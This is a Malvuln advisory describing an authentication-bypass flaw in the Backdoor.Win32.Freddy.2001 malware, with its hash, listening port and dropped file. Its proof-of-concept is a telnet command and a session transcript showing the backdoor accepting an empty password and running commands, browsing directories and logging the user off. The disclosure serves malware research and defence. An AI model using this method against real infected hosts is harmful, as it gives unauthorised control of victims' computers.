Backdoor.Win32.Freddy.2001 malware suffers from authentication bypass and remote command execution vulnerabilities.
54284610e15226f65a002ea1d5c32d82Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/434923afc32a7bc7355ed9a5224b9273.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Freddy.2001
Vulnerability: Authentication Bypass Command Execution
Description: The malware listens on TCP port 19535. Third-party intruders who can reach an infected host can gain access using an empty password and run commands made available by the backdoor using TELNET.
Type: PE32
MD5: 434923afc32a7bc7355ed9a5224b9273
Vuln ID: MVID-2022-0486
Dropped files: sycon2.exe
Disclosure: 02/08/2022
Exploit/PoC:
#Note: use TELNET
telnet.exe x.x.x.x 19535
Enter password:
User: Victim
Computer net name: DESKTOP-2C3JQHO
IP address: 192.168.18.129
Local date & time: 2/3/2022 2:45:46 AM
Hackers connected: 2
$y(0n v.2.3.2 by Meerkat Systems | NLG
Sycon>
Sycon> windows
Window 6976: dump
Window 6976: tmp
Window 1956: Administrator: Administrator Command Prompt
Window 6976: Program Manager
Sycon> cd \
CD: C:\
Sycon> dir
Found: $Recycle.Bin
Found: Boot
Found: bootmgr
Found: BOOTNXT
etc...
Sycon> exec calc
Executing...
Sycon> logoff
Windows is going down...
I'm killed!
Sycon>
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